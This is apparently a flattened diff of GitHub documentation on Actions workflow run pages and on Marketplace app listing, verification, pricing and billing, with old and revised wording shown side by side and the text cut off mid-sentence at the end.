data reusables.repositories.view-run %} 1. Under **Artifacts**, click {% octicon "trashcan" aria-label="The trashcan icon" %} next to the artifact you want to remove. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} ### Setting the retention period for an artifact 23 content/actions/managing-workflow-runs/using-the-visualization-graph.md @@ -0,0 +1,23 @@ --- title: Using the visualization graph intro: Every workflow run generates a real-time graph that illustrates the run progress. You can use this graph to monitor and debug workflows. product: '{% data reusables.gated-features.actions %}' versions: free-pro-team: '*' enterprise-server: '>=3.1' --- {% data reusables.actions.enterprise-beta %} {% data reusables.actions.visualization-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. The graph displays each job in the workflow. An icon to the left of the job name indicates the status of the job. Lines between jobs indicate dependencies.  2. Click on a job to view the job log.  18 content/actions/managing-workflow-runs/using-workflow-run-logs.md @@ -45,7 +45,11 @@ You can search the build logs for a particular step. When you search logs, only {% data reusables.repositories.navigate-to-job-superlinter %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} 1. In the upper-right corner of the log output, in the **Search logs** search box, type a search query. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} {% else %} 1. To expand each step you want to include in your search, click the step.  @@ -63,8 +67,12 @@ You can download the log files from your workflow run. You can also download a w {% data reusables.repositories.view-run-superlinter %} {% data reusables.repositories.navigate-to-job-superlinter %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} and select **Download log archive**. 1. In the upper right corner, click {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}{% octicon "gear" aria-label="The gear icon" %}{% else %}{% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}{% endif %} and select **Download log archive**. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} {% else %} 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} and select **Download log archive**.  @@ -80,9 +88,17 @@ You can delete the log files from your workflow run. {% data reusables.repositor {% data reusables.repositories.view-run-superlinter %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} 2. To delete the log files, click the **Delete all logs** button and review the confirmation prompt. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} After deleting logs, the **Delete all logs** button is removed to indicate that no log files remain in the workflow run. {% else %} 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}. 2 content/actions/managing-workflow-runs/viewing-job-execution-time.md @@ -15,7 +15,7 @@ Billable job execution minutes are only shown for jobs run on private repositori {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. Under the job summary, you can view the job's execution time. To view the billable job execution time, click **Run and billable time details**. 1. Under the job summary, you can view the job's execution time. To view details about the billable job execution time, click the time under **Billable time**.  {% note %} 5 content/actions/quickstart.md @@ -60,8 +60,13 @@ Committing the workflow file in your repository triggers the `push` event and ru {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow-superlinter %} {% data reusables.repositories.view-run-superlinter %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %} 1. Under **Jobs** or in the visualization graph, click the **Lint code base** job.  {% else %} 1. In the left sidebar, click the **Lint code base** job.  {% endif %} {% data reusables.repositories.view-failed-job-results-superlinter %} ### More starter workflows 49 content/developers/github-marketplace/about-github-marketplace.md @@ -1,6 +1,6 @@ --- title: About GitHub Marketplace intro: 'Learn the basics to prepare your app for review before joining {% data variables.product.prodname_marketplace %}.' intro: 'Learn about {% data variables.product.prodname_marketplace %} where you can share your apps and actions publicly with all {% data variables.product.product_name %} users.' redirect_from: - /apps/marketplace/getting-started/ - /marketplace/getting-started @@ -14,52 +14,41 @@ versions: {% data reusables.actions.actions-not-verified %} To learn about publishing {% data variables.product.prodname_actions %} in the {% data variables.product.prodname_marketplace %}, see "[Publishing actions in GitHub Marketplace](/actions/creating-actions/publishing-actions-in-github-marketplace)." To learn about publishing {% data variables.product.prodname_actions %} in {% data variables.product.prodname_marketplace %}, see "[Publishing actions in GitHub Marketplace](/actions/creating-actions/publishing-actions-in-github-marketplace)." ### Apps You can list verified and unverified apps in {% data variables.product.prodname_marketplace %}. Unverified apps do not go through the security, testing, and verification cycle {% data variables.product.prodname_dotcom %} requires for verified apps. Anyone can share their apps with other users on {% data variables.product.prodname_marketplace %} but only listings that are verified by {% data variables.product.company_short %} can include paid plans. For more information, see "[About verified creators](/developers/github-marketplace/about-verified-creators)." Verified apps have a green badge in {% data variables.product.prodname_marketplace %}. Unverified apps have a grey badge next to their listing and are only available as free apps. If you're interested in creating an app for {% data variables.product.prodname_marketplace %}, but you're new to {% data variables.product.prodname_github_apps %} or {% data variables.product.prodname_oauth_app %}s, see "[Building {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps)" or "[Building {% data variables.product.prodname_oauth_app %}s](/developers/apps/building-oauth-apps)."  If you're interested in creating an app for {% data variables.product.prodname_marketplace %}, but you're new to {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_app %}s, see "[Building apps](/apps/)." {% data reusables.marketplace.github_apps_preferred %}, although you can list both OAuth and {% data variables.product.prodname_github_app %}s in {% data variables.product.prodname_marketplace %}. See "[Differences between GitHub and OAuth apps](/apps/differences-between-apps/)" for more details. To learn more about switching from OAuth to {% data variables.product.prodname_github_apps %}, see [Migrating OAuth Apps to {% data variables.product.prodname_github_app %}s](/apps/migrating-oauth-apps-to-github-apps/). {% data reusables.marketplace.github_apps_preferred %}, although you can list both OAuth and {% data variables.product.prodname_github_app %}s in {% data variables.product.prodname_marketplace %}. For more information, see "[Differences between {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_app %}s](/apps/differences-between-apps/)" and "[Migrating {% data variables.product.prodname_oauth_app %}s to {% data variables.product.prodname_github_apps %}](/apps/migrating-oauth-apps-to-github-apps/)." If you have questions about {% data variables.product.prodname_marketplace %}, please contact {% data variables.contact.contact_support %} directly. #### Unverified Apps Unverified apps do not need to meet the "[Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/)" or go through the "[Security review process](/marketplace/getting-started/security-review-process/)". {% data reusables.marketplace.unverified-apps %} Having a published paid plan will prevent you from being able to submit an unverified app. You must remove paid plans or keep them in draft mode before publishing an unverified app. To list your unverified app in {% data variables.product.prodname_marketplace %}, you only need to create a "[Listing on {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/)" and submit it as an unverified listing. {% data reusables.marketplace.launch-with-free %} ### Publishing an app to {% data variables.product.prodname_marketplace %} #### Verified Apps When you have finished creating your app, you can share it with other users by publishing it to {% data variables.product.prodname_marketplace %}. In summary, the process is: If you've already built an app and you're interested in submitting a verified listing in {% data variables.product.prodname_marketplace %}, start here: 1. Review your app carefully to ensure that it will behave as expected in other repositories and that it follows best practice guidelines. For more information, see "[Security best practices for apps](/developers/github-marketplace/security-best-practices-for-apps)" and "[Requirements for listing an app](/developers/github-marketplace/requirements-for-listing-an-app#best-practice-for-customer-experience)." 1. [Getting started with {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/)<br/>Learn about requirements, guidelines, and the app submission process. 1. Add webhook events to the app to track user billing requests. For more information about the {% data variables.product.prodname_marketplace %} API, webhook events, and billing requests, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." 1. [Integrating with the {% data variables.product.prodname_marketplace %} API](/marketplace/integrating-with-the-github-marketplace-api/)<br/>Before you can list your app on {% data variables.product.prodname_marketplace %}, you'll need to integrate billing flows using the {% data variables.product.prodname_marketplace %} API and webhook events. 1. Create a draft {% data variables.product.prodname_marketplace %} listing. For more information, see "[Drafting a listing for your app](/developers/github-marketplace/drafting-a-listing-for-your-app)." 1. [Listing on {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/) <br/>Create a draft {% data variables.product.prodname_marketplace %} listing, configure webhook settings, and set up pricing plans. 1. Add a pricing plan. For more information, see "[Setting pricing plans for your listing](/developers/github-marketplace/setting-pricing-plans-for-your-listing)." 1. [Selling your app](/marketplace/selling-your-app/)<br/>Learn about pricing plans, billing cycles, and how to receive payment from {% data variables.product.prodname_dotcom %} for your app. 1. Check whether your app meets the requirements for listing on {% data variables.product.prodname_marketplace %} as a free or a paid app. For more information, see "[Requirements for listing an app](/developers/github-marketplace/requirements-for-listing-an-app)." 1. [{% data variables.product.prodname_marketplace %} Insights](/marketplace/github-marketplace-insights/)<br/>See how your app is performing in {% data variables.product.prodname_marketplace %}. You can use metrics collected by {% data variables.product.prodname_dotcom %} to guide your marketing campaign and be successful in {% data variables.product.prodname_marketplace %}. 1. Read and accept the terms of the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)." 1. [{% data variables.product.prodname_marketplace %} transactions](/marketplace/github-marketplace-transactions/)<br/>Download and view transaction data for your {% data variables.product.prodname_marketplace %} listing. 1. Submit your listing for publication in {% data variables.product.prodname_marketplace %}, requesting verification if you want to sell the app. For more information, see "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication)." ### Reviewing your app An onboarding expert will contact you with any questions or further steps. For example, if you have added a paid plan, you will need to complete the verification process and complete financial onboarding. As soon as your listing is approved the app is published to {% data variables.product.prodname_marketplace %}. We want to make sure that the apps offered on {% data variables.product.prodname_marketplace %} are safe, secure, and well tested. The {% data variables.product.prodname_marketplace %} onboarding specialists will review your app to ensure that it meets all requirements. Follow the guidelines in these articles before submitting your app: ### Seeing how your app is performing You can access metrics and transactions for your listing. For more information, see: * [Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/) * [Security review process](/marketplace/getting-started/security-review-process/) - "[Viewing metrics for your listing](/developers/github-marketplace/viewing-metrics-for-your-listing)" - "[Viewing transactions for your listing](/developers/github-marketplace/viewing-transactions-for-your-listing)" 43 content/developers/github-marketplace/about-verified-creators.md @@ -0,0 +1,43 @@ --- title: About verified creators intro: 'Each organization that wants to sell apps on {% data variables.product.prodname_marketplace %} must follow a verification process. Their identity is checked and their billing process reviewed.' versions: free-pro-team: '*' --- ### About verified creators A verified creator is an organization that {% data variables.product.company_short %} has checked. Anyone can share their apps with other users on {% data variables.product.prodname_marketplace %} but only organizations that are verified by {% data variables.product.company_short %} can sell apps. For more information about organizations, see "[About organizations](/github/setting-up-and-managing-organizations-and-teams/about-organizations)." The verification process aims to protect users. For example, it verifies the seller's identity, checks that their {% data variables.product.product_name %} organization is set up securely, and that they can be contacted for support. After passing the verification checks, any apps that the organization lists on {% data variables.product.prodname_marketplace %} are shown with a verified creator badge {% octicon "verified" aria-label="Verified creator badge" %}. The organization can now add paid plans to any of their apps. Each app with a paid plan also goes through a financial onboarding process to check that it's set up to handle billing correctly.  In addition to the verified creator badge, you'll also see badges for unverified and verified apps. These apps were published using the old method for verifying individual apps.  For information on finding apps to use, see "[Searching {% data variables.product.prodname_marketplace %}](/github/searching-for-information-on-github/searching-github-marketplace)." ### About the verification process The first time you request verification for a listing of one of your apps, you will enter the verification process. An onboarding expert will guide you through the process. This includes checking: - Profile information - The basic profile information is populated accurately and appropriately. - Security - The organization has enabled two-factor authentication. - Verified domain - The organization has verified the domain of the site URL. - Purchase webhook event - The event is handled correctly by the app. When your organization is verified, all your apps are shown with a verified creator badge. You are now able to offer paid plans for any of your apps. For more information about the requirements for listing an app on {% data variables.product.prodname_marketplace %}, see "[Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/)." {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to do this, see: "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)." {% note %} **Note:** This verification process for apps replaces the previous process where individual apps were verified. The current process is similar to the verification process for actions. If you have apps that were verified under the old process, these will not be affected by the changes. The {% data variables.product.prodname_marketplace %} team will contact you with details of how to migrate to organization-based verification. {% endnote %} 12 content/developers/github-marketplace/billing-customers.md @@ -13,17 +13,17 @@ versions: ### Understanding the billing cycle Customers can choose a monthly or yearly billing cycle when they purchase your app. All changes customers make to the billing cycle and plan selection will trigger a `marketplace_purchase` event. You can refer to the `marketplace_purchase` webhook payload to see which billing cycle a customer selects and when the next billing date begins (`effective_date`). For more information about webhook payloads, see "[{% data variables.product.prodname_marketplace %} webhook events](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)." Customers can choose a monthly or yearly billing cycle when they purchase your app. All changes customers make to the billing cycle and plan selection will trigger a `marketplace_purchase` event. You can refer to the `marketplace_purchase` webhook payload to see which billing cycle a customer selects and when the next billing date begins (`effective_date`). For more information about webhook payloads, see "[Webhook events for the {% data variables.product.prodname_marketplace %} API](/developers/github-marketplace/webhook-events-for-the-github-marketplace-api)." ### Providing billing services in your app's UI Customers must be able to perform the following actions from your app's website: - Customers must be able to modify or cancel their {% data variables.product.prodname_marketplace %} plans for personal and organizational accounts separately. Customers should be able to perform the following actions from your app's website: - Customers should be able to modify or cancel their {% data variables.product.prodname_marketplace %} plans for personal and organizational accounts separately. {% data reusables.marketplace.marketplace-billing-ui-requirements %} ### Billing services for upgrades, downgrades, and cancellations Follow these guidelines for upgrades, downgrades, and cancellations to maintain a clear and consistent billing process. For more detailed instructions about the {% data variables.product.prodname_marketplace %} purchase events, see "[Billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows)." Follow these guidelines for upgrades, downgrades, and cancellations to maintain a clear and consistent billing process. For more detailed instructions about the {% data variables.product.prodname_marketplace %} purchase events, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." You can use the `marketplace_purchase` webhook's `effective_date` key to determine when a plan change will occur and periodically synchronize the [List accounts for a plan](/rest/reference/apps#list-accounts-for-a-plan). @@ -33,7 +33,7 @@ When a customer upgrades their pricing plan or changes their billing cycle from {% data reusables.marketplace.marketplace-failed-purchase-event %} For information about building upgrade and downgrade workflows into your app, see "[Upgrading and downgrading plans](/marketplace/integrating-with-the-github-marketplace-api/upgrading-and-downgrading-plans/)." For information about building upgrade and downgrade workflows into your app, see "[Handling plan changes](/developers/github-marketplace/handling-plan-changes)." #### Downgrades and cancellations @@ -45,4 +45,4 @@ When a customer cancels a plan, you must: {% data reusables.marketplace.cancellation-clarification %} - Enable them to upgrade the plan through GitHub if they would like to continue the plan at a later time. For information about building cancellation workflows into your app, see "[Cancelling plans](/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans/)." For information about building cancellation workflows into your app, see "[Handling plan cancellations](/developers/github-marketplace/handling-plan-cancellations)." 20 ...nt/developers/github-marketplace/customer-experience-best-practices-for-apps.md @@ -0,0 +1,20 @@ --- title: Customer experience best practices for apps intro: 'Guidelines for creating an app that will be easy to use and understand.' shortTitle: Customer experience best practice versions: free-pro-team: '*' --- If you follow these best practices it will help you to provide a good customer experience. ### Customer communication - Marketing materials for the app should accurately represent the app's behavior. - Apps should include links to user-facing documentation that describe how to set up and use the app. - Customers should be able to see what type of plan they have in the billing, profile, or account settings section of the app. - Customers should be able to install and use your app on both a personal account and an organization account. They should be able to view and manage the app on those accounts separately. ### Plan management {% data reusables.marketplace.marketplace-billing-ui-requirements %} 4 content/developers/github-marketplace/drafting-a-listing-for-your-app.md @@ -59,8 +59,8 @@ Once you've created a {% data variables.product.prodname_marketplace %} draft li ### Submitting your app Once you've completed your {% data variables.product.prodname_marketplace %} listing, you can submit your listing for review from the **Overview** page. You'll need to read and accept the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)," and then you can click **Submit for review**. After you submit your app for review, the {% data variables.product.prodname_marketplace %} onboarding team will contact you with additional information about the onboarding process. You can learn more about the onboarding and security review process in "[Getting started with {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/)." Once you've completed your {% data variables.product.prodname_marketplace %} listing, you can submit your listing for review from the **Overview** page. You'll need to read and accept the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)," and then you can click **Submit for review**. After you submit your app for review, an onboarding expert will contact you with additional information about the onboarding process. You can learn more about the onboarding and security review process in "[Getting started with {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/)." ### Removing a {% data variables.product.prodname_marketplace %} listing If you no longer want to list your app in {% data variables.product.prodname_marketplace %}, contact [marketplace@github.com](mailto:marketplace@github.com) to remove your listing. If you no longer want to list your app in {% data variables.product.prodname_marketplace %}, contact {% data variables.contact.contact_support %} to remove your listing. 2 content/developers/github-marketplace/handling-new-purchases-and-free-trials.md @@ -28,7 +28,7 @@ GitHub then sends the [`marketplace_purchase`](/webhooks/event-payloads/#marketp Read the `effective_date` and `marketplace_purchase` object from the `marketplace_purchase` webhook to determine which plan the customer purchased, when the billing cycle starts, and when the next billing cycle begins. If your app offers a free trial, read the `marketplace_purchase[on_free_trial]` attribute from the webhook. If the value is `true`, your app will need to track the free trial start date (`effective_date`) and the date the free trial ends (`free_trial_ends_on`). Use the `free_trial_ends_on` date to display the remaining days left in a free trial in your app's UI. You can do this in either a banner or in your [billing UI](/marketplace/selling-your-app/billing-customers-in-github-marketplace/#providing-billing-services-in-your-apps-ui). To learn how to handle cancellations before a free trial ends, see "[Cancelling plans](/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans/)." See "[Upgrading and downgrading plans](/marketplace/integrating-with-the-github-marketplace-api/upgrading-and-downgrading-plans/)" to find out how to transition a free trial to a paid plan when a free trial expires. If your app offers a free trial, read the `marketplace_purchase[on_free_trial]` attribute from the webhook. If the value is `true`, your app will need to track the free trial start date (`effective_date`) and the date the free trial ends (`free_trial_ends_on`). Use the `free_trial_ends_on` date to display the remaining days left in a free trial in your app's UI. You can do this in either a banner or in your [billing UI](/marketplace/selling-your-app/billing-customers-in-github-marketplace/#providing-billing-services-in-your-apps-ui). To learn how to handle cancellations before a free trial ends, see "[Handling plan cancellations](/developers/github-marketplace/handling-plan-cancellations)." See "[Handling plan changes](/developers/github-marketplace/handling-plan-changes)" to find out how to transition a free trial to a paid plan when a free trial expires. See "[{% data variables.product.prodname_marketplace %} webhook events](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)" for an example of the `marketplace_purchase` event payload. 6 content/developers/github-marketplace/index.md @@ -11,8 +11,10 @@ versions: {% topic_link_in_list /creating-apps-for-github-marketplace %} {% link_in_list /about-github-marketplace %} {% link_in_list /about-verified-creators %} {% link_in_list /requirements-for-listing-an-app %} {% link_in_list /security-review-process-for-submitted-apps %} {% link_in_list /security-best-practices-for-apps %} {% link_in_list /customer-experience-best-practices-for-apps %} {% link_in_list /viewing-metrics-for-your-listing %} {% link_in_list /viewing-transactions-for-your-listing %} {% topic_link_in_list /using-the-github-marketplace-api-in-your-app %} @@ -27,7 +29,7 @@ versions: {% link_in_list /writing-a-listing-description-for-your-app %} {% link_in_list /setting-pricing-plans-for-your-listing %} {% link_in_list /configuring-a-webhook-to-notify-you-of-plan-changes %} {% link_in_list /submitting-your-listing-for-review %} {% link_in_list /submitting-your-listing-for-publication %} {% topic_link_in_list /selling-your-app-on-github-marketplace %} {% link_in_list /pricing-plans-for-github-marketplace-apps %} {% link_in_list /billing-customers %} 32 content/developers/github-marketplace/pricing-plans-for-github-marketplace-apps.md @@ -10,35 +10,45 @@ versions: {% data variables.product.prodname_marketplace %} pricing plans can be free, flat rate, or per-unit, and GitHub lists the price in US dollars. Customers purchase your app using a payment method attached to their {% data variables.product.product_name %} account, without having to leave GitHub.com. You don't have to write code to perform billing transactions, but you will have to handle [billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows) for purchase events. {% data variables.product.prodname_marketplace %} pricing plans can be free, flat rate, or per-unit. Prices are set, displayed, and processed in US dollars. Paid plans are restricted to verified listings. Customers purchase your app using a payment method attached to their {% data variables.product.product_name %} account, without having to leave {% data variables.product.prodname_dotcom_the_website %}. You don't have to write code to perform billing transactions, but you will have to handle events from the {% data variables.product.prodname_marketplace %} API. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." If the app you're listing on {% data variables.product.prodname_marketplace %} has multiple plan options, you can set up corresponding pricing plans. For example, if your app has two plan options, an open source plan and a pro plan, you can set up a free pricing plan for your open source plan and a flat pricing plan for your pro plan. Each {% data variables.product.prodname_marketplace %} listing must have an annual and a monthly price for every plan that's listed. For more information on how to create a pricing plan, see "[Setting a {% data variables.product.prodname_marketplace %} listing's pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)." {% note %} {% data reusables.marketplace.free-plan-note %} **Note:** If you're listing an app on {% data variables.product.prodname_marketplace %}, you can't list your app with a free pricing plan if you offer a paid service outside of {% data variables.product.prodname_marketplace %}. ### Types of pricing plans {% endnote %} #### Free pricing plans ### Types of pricing plans {% data reusables.marketplace.free-apps-encouraged %} Free plans are completely free for users. If you set up a free pricing plan, you cannot charge users that choose the free pricing plan for the use of your app. You can create both free and paid plans for your listing. All apps need to handle events for new purchases and cancellations. Apps that only have free plans do not need to handle events for free trials, upgrades, and downgrades. For more information, see: "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." If you add a paid plan to an app that you've already listed in {% data variables.product.prodname_marketplace %} as a free service, you'll need to request verification for the app and go through financial onboarding. #### Paid pricing plans **Free pricing plans** are completely free for users. If you set up a free pricing plan, you cannot charge users that choose the free pricing plan for the use of your app. You can create both free and paid plans for your listing. Unverified free apps do not need to implement any billing flows. Free apps that are verified by Github need to implement billing flows for new purchases and cancellations, but do not need to implement billing flows for free trials, upgrades, and downgrades. If you add a paid plan to an app that you've already listed in {% data variables.product.prodname_marketplace %} as a free service, you'll need to resubmit the app for review. There are two types of paid pricing plan: **Flat rate pricing plans** charge a set fee on a monthly and yearly basis. - Flat rate pricing plans charge a set fee on a monthly and yearly basis. **Per-unit pricing plans** charge a set fee on either a monthly or yearly basis for a unit that you specify. A "unit" can be anything you'd like (for example, a user, seat, or person). - Per-unit pricing plans charge a set fee on either a monthly or yearly basis for a unit that you specify. A "unit" can be anything you'd like (for example, a user, seat, or person). **Marketplace free trials** provide 14-day free trials of OAuth or GitHub Apps to customers. When you [set up a Marketplace pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/), you can select the option to provide a free trial for flat-rate or per-unit pricing plans. You may also want to offer free trials. These provide free, 14-day trials of OAuth or GitHub Apps to customers. When you set up a Marketplace pricing plan, you can select the option to provide a free trial for flat-rate or per-unit pricing plans. ### Free trials Customers can start a free trial for any available paid plan on a Marketplace listing, but will not be able to create more than one free trial for a Marketplace product. Customers can start a free trial for any paid plan on a Marketplace listing that includes free trials. However, customers cannot create more than one free trial per marketplace product. Free trials have a fixed length of 14 days. Customers are notified 4 days before the end of their trial period (on day 11 of the free trial) that their plan will be upgraded. At the end of a free trial, customers will be auto-enrolled into the plan they are trialing if they do not cancel. See "[New purchases and free trials](/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/)" for details on how to handle free trials in your app. For more information, see: "[Handling new purchases and free trials](/developers/github-marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/)." {% note %} 61 content/developers/github-marketplace/requirements-for-listing-an-app.md @@ -1,6 +1,6 @@ --- title: Requirements for listing an app intro: 'Apps on {% data variables.product.prodname_marketplace %} must meet the requirements outlined on this page before our {% data variables.product.prodname_marketplace %} onboarding specialists will approve the listing.' intro: 'Apps on {% data variables.product.prodname_marketplace %} must meet the requirements outlined on this page before the listing can be published.' redirect_from: - /apps/adding-integrations/listing-apps-on-github-marketplace/requirements-for-listing-an-app-on-github-marketplace/ - /apps/marketplace/listing-apps-on-github-marketplace/requirements-for-listing-an-app-on-github-marketplace/ @@ -12,49 +12,62 @@ versions: free-pro-team: '*' --- <!--UI-LINK: Displayed as a link on the https://github.com/marketplace/new page.--> The requirements for listing an app on {% data variables.product.prodname_marketplace %} vary according to whether you want to offer a free or a paid app. Before you submit your app for review, you must read and accept the terms of the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)." You'll accept the terms within your [draft listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/) on {% data variables.product.product_name %}. Once you've submitted your app, one of the {% data variables.product.prodname_marketplace %} onboarding specialists will reach out to you with more information about the onboarding process, and review your app to ensure it meets these requirements: ### Requirements for all {% data variables.product.prodname_marketplace %} listings ### User experience All listings on {% data variables.product.prodname_marketplace %} should be for tools that provide value to the {% data variables.product.product_name %} community. When you submit your listing for publication, you must read and accept the terms of the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)." - {% data variables.product.prodname_github_app %}s should have a minimum of 100 installations. - {% data variables.product.prodname_oauth_app %}s should have a minimum of 200 users. #### User experience requirements for all apps All listings should meet the following requirements, regardless of whether they are for a free or paid app. - Listings must not actively persuade users away from {% data variables.product.product_name %}. - Listings must include valid contact information for the publisher. - Listings must have a relevant description of the application. - Listings must specify a pricing plan. - Apps must provide value to customers and integrate with the platform in some way beyond authentication. - Apps must be publicly available in {% data variables.product.prodname_marketplace %} and cannot be in beta or available by invite only. - Apps cannot actively persuade users away from {% data variables.product.product_name %}. - Marketing materials for the app must accurately represent the app's behavior. - Apps must include links to user-facing documentation that describe how to set up and use the app. - When a customer purchases an app and GitHub redirects them to the app's installation URL, the app must begin the OAuth flow immediately. For details, see "[Handling new purchases and free trials](/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/#step-3-authorization)." - Apps must have webhook events set up to notify the publisher of any plan changes or cancellations using the {% data variables.product.prodname_marketplace %} API. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." - Customers must be able to install your app and select repositories on both a personal and organization account. They should be able to view and manage those accounts separately. For more information on providing a good customer experience, see "[Customer experience best practices for apps](/developers/github-marketplace/customer-experience-best-practices-for-apps)." ### Brand and listing #### Brand and listing requirements for all apps - Apps that use GitHub logos must follow the "[{% data variables.product.product_name %} Logos and Usage](https://github.com/logos)" guidelines. - Apps that use GitHub logos must follow the {% data variables.product.company_short %} guidelines. For more information, see "[{% data variables.product.company_short %} Logos and Usage](https://github.com/logos)." - Apps must have a logo, feature card, and screenshots images that meet the recommendations provided in "[Writing {% data variables.product.prodname_marketplace %} listing descriptions](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)." - Listings must include descriptions that are well written and free of grammatical errors. For guidance in writing your listing, see "[Writing {% data variables.product.prodname_marketplace %} listing descriptions](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)." ### Security To protect your customers, we recommend that you also follow security best practices. For more information, see "[Security best practices for apps](/developers/github-marketplace/security-best-practices-for-apps)." ### Considerations for free apps Apps will go through a security review before being listed on {% data variables.product.prodname_marketplace %}. A successful review will meet the requirements and follow the security best practices listed in "[Security review process](/marketplace/getting-started/security-review-process/)." For information on the review process, contact [marketplace@github.com](mailto:marketplace@github.com). {% data reusables.marketplace.free-apps-encouraged %} ### Requirements for paid apps In addition to the requirements for all apps above, each app that you offer as a paid service on {% data variables.product.prodname_marketplace %} must also meet the following requirements: - {% data variables.product.prodname_github_app %}s should have a minimum of 100 installations. - {% data variables.product.prodname_oauth_app %}s should have a minimum of 200 users. - All paid apps must handle {% data variables.product.prodname_marketplace %} purchase events for new purchases, upgrades, downgrades, cancellations, and free trials. For more information, see "[Billing requirements for paid apps](#billing-requirements-for-paid-apps)" below. - Publishing organizations must have a verified domain and must enable two-factor authentication. For more information, see "[Requiring two-factor authentication in your organization](/github/setting-up-and-managing-organizations-and-teams/requiring-two-factor-authentication-in-your-organization.") ### Billing flows When you are ready to publish the app on {% data variables.product.prodname_marketplace %} you must request verification for the listing. Your app must integrate [billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows) using the [{% data variables.product.prodname_marketplace %} webhook event](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/). {% note %} #### Free apps The verification process is open to organizations. {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to do this, see: "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)." {% data reusables.marketplace.free-apps-encouraged %} If you are listing a free app, you'll need to meet these requirements: {% endnote %} - Customers must be able to see that they have a free plan in the billing, profile, or account settings section of the app. - When a customer cancels your app, you must follow the flow for [cancelling plans](/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans/). ### Billing requirements for paid apps #### Paid apps Your app does not need to handle payments but does need to use {% data 